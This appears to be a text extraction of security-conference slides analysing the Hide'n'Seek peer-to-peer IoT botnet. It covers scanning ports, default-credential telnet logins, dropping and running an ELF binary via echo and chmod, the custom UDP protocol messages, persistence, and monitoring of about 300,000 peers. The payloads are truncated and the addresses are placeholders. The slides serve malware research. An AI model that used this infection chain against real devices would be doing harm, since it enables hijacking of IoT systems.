Post on 02-Aug-2020
Hide’n’SeekAn Adaptive Peer-to-Peer Botnet
Adrian ȘendroiuVladimir Diaconescu
● IoT Botnets increasing in impact and diversity● Tried and tested models (Mirai)
○ Central C2 Server○ (Different) Infecting machine○ (Different) Reporting machine
● Dictionary and CVE extensions● Main objective: DDoS
Context
● A new idea: Peer-to-Peer botnet○ Also seen in Hajime
● Custom protocol● Modular● Authenticated● Different goals
Analysis - Overview
● Two main components○ Scanner
Functionality
● Two main components○ Scanner○ P2P protocol
Functionality
● Pick a random IP and a port○ 23, 2323 (telnet) - try default credentials○ 80, 8080 (http) - try known IoT exploits○ 5555 - ADB○ Others (2480, 5984)
Scanning for victims
Analysis - Infection process
Analysis - Infection process: Scan
TCP SYN :23
ACK
SCAN
Analysis - Infection process: Connect
Get login prompt
“login:”
SCAN CONN
Analysis - Infection process: Dictionary
userk:passwordk
user@host:/~
SCAN CONN DICT
Analysis - Infection process: Sysinfo
cat /proc/cpuinfo
ARM
SCAN CONN DICT INFO
Analysis - Infection process: Probing
wgetcurlbase64
wget: not foundcurl: not found
SCAN CONN DICT INFO PROB
● “echo -e ‘\x7fELF…’ > abc”● chmod +x abc
Analysis - Infection process: Dropping
SCAN CONN DICT INFO PROB DROP
● ./abc a1.2.3.4:5678 k23 l4444 e5.4.3.2:80
Analysis - Infection process: Dropping
SCAN CONN DICT INFO PROB DROP
● ./abc a1.2.3.4:5678 k23 l4444 e5.4.3.2:80○ Initial starting peers
Analysis - Infection process: Dropping
SCAN CONN DICT INFO PROB DROP
● ./abc a1.2.3.4:5678 k23 l4444 e5.4.3.2:80○ Initial starting peers○ Kill port
Analysis - Infection process: Dropping
SCAN CONN DICT INFO PROB DROP
● ./abc a1.2.3.4:5678 k23 l4444 e5.4.3.2:80○ Initial starting peers○ Kill port○ P2P listening port (UDP)
Analysis - Infection process: Dropping
SCAN CONN DICT INFO PROB DROP
● ./abc a1.2.3.4:5678 k23 l4444 e5.4.3.2:80○ Initial starting peers○ Kill port○ P2P listening port (UDP)○ Additional scan targets
Analysis - Infection process: Dropping
SCAN CONN DICT INFO PROB DROP
● Custom UDP protocol○ Data structures○ Messages
P2P protocol
Data structures - Peer table
IP port
1.2.3.4 20123
5.6.7.8 30456
4.3.2.1 40789
Data structures - Caches
payload id -> hash
0x15 -> 1af3…0x13 -> 3f14...
hash -> data
3f14… -> \x7fELF...1af3... -> \x7fELF…
config cache data cache
user@host:/~
$ cat /proc/cpuinfo
...model name : ARMv7 Processor rev 1
...
$ cat /proc/cpuinfo
● What to download?
...model name : ARMv7 Processor rev 1
...
payload id -> hash
0x15 -> 1af3…0x13 -> 3f14...
hash -> data
3f14… -> \x7fELF...1af3... -> \x7fELF…
config cache data cache
$ cat /proc/cpuinfo
...model name : ARMv7 Processor rev 1
...
payload id -> hash
0x15 -> 1af3…0x13 -> 3f14...
hash -> data
3f14… -> \x7fELF...1af3... -> \x7fELF…
config cache data cache
$ cat /proc/cpuinfo
...model name : ARMv7 Processor rev 1
...
payload id -> hash
0x15 -> 1af3…0x13 -> 3f14...
hash -> data
3f14… -> \x7fELF...1af3... -> \x7fELF…
config cache data cache
$ cat /proc/cpuinfo
...model name : ARMv7 Processor rev 1
...
payload id -> hash
0x15 -> 1af3…0x13 -> 3f14...
hash -> data
3f14… -> \x7fELF...1af3... -> \x7fELF…
config cache data cache
$ cat /proc/cpuinfo
...model name : ARMv7 Processor rev 1
...
payload id -> hash
0x15 -> 1af3…0x13 -> 3f14...
hash -> data
3f14… -> \x7fELF...1af3... -> \x7fELF…
config cache data cache
$ cat /proc/cpuinfo
$ echo -e ‘\x7fELF…’ > abc; ./abc
payload id -> hash
0x15 -> 1af3…0x13 -> 3f14...
hash -> data
3f14… -> \x7fELF...1af3... -> \x7fELF…
config cache data cache
P2P protocol messages
● Config cache update● Peer management● Target reporting
1 byte id message data
Config cache update
payload id -> hash
Config cache update
payload id -> hash
0x15 -> 1af3…0x13 -> 3f14...
Config cache update
h 0
h 0
h 0
h - config cache version report
Config cache update
H 5
H 5
H 8
H - config cache version reply
Config cache update
y 0
Y 0 data
y - chunk requestY - chunk reply
check signature
...model name : ARMv7 Processor rev 1
...
payload id -> hash
0x15 -> 1af3…0x13 -> 3f14...
hash -> data
3f14… -> \x7fELF...1af3... -> \x7fELF…
config cache data cache
$ cat /proc/cpuinfo
Config cache update
y 0
Y 0 data
y - chunk requestY - chunk reply
check signature
Data cache update
hash -> data
3f14… -> \x7fELF...1af3... -> \x7fELF…
Peer update
~ - peer request
~
~
~
Peer update
^ 4.3.2.1 789
^ 5.6.7.8 456
^ 1.2.3.4 123
^ - peer reply
Target device reporting
GET /some/exploit
Target device reporting
HTTP/1.1 404 Not FoundGET /some/exploit
Target device reporting
z 1.2.3.4 80
Target device reporting
GET /some/exploit
Target device reporting
GET /some/exploit
HTTP/1.1 200 OK
Hide’n’Seek - Summary
● Infects many kinds of IoT systems● Decentralized P2P architecture● Network controlled by the author
Updates
● ~30 samples○ Code refactoring○ New functionality
Updates
● ~30 samples○ Code refactoring○ New functionality
● Persistency (copy itself to /etc/init.d/S99abcd)
Updates
● ~30 samples○ Code refactoring○ New functionality
● Persistency (copy itself to /etc/init.d/S99abcd)● Dropping other binaries
○ cpuminer
Updates
● HTTP-based exploits for more IoT vendors
Updates
● HTTP-based exploits for more IoT vendors● RCE via OrientDB and CouchDB
Updates
● HTTP-based exploits for more IoT vendors● RCE via OrientDB and CouchDB● Hijacking devices via ADB
Updates
Monitoring
Monitoring
^ 4.3.2.1 789
^ 5.6.7.8 456
^ 1.2.3.4 123
~
~
~
● ~300,000 peers
Monitoring
● A new trend in the IoT landscape○ Qbot, Mirai
Conclusions
● A new trend in the IoT landscape○ Qbot, Mirai○ Hajime
Conclusions
● A new trend in the IoT landscape○ Qbot, Mirai○ Hajime, Satori
Conclusions
● A new trend in the IoT landscape○ Qbot, Mirai○ Hajime, Satori, Reaper
Conclusions
● A new trend in the IoT landscape○ Qbot, Mirai○ Hajime, Satori, Reaper, VPNFilter
Conclusions
● A new trend in the IoT landscape○ Qbot, Mirai○ Hajime, Satori, Reaper, VPNFilter, HNS
Conclusions
● A new trend in the IoT landscape○ Qbot, Mirai○ Hajime, Satori, Reaper, VPNFilter, HNS
● More threats to come
Conclusions
Q&A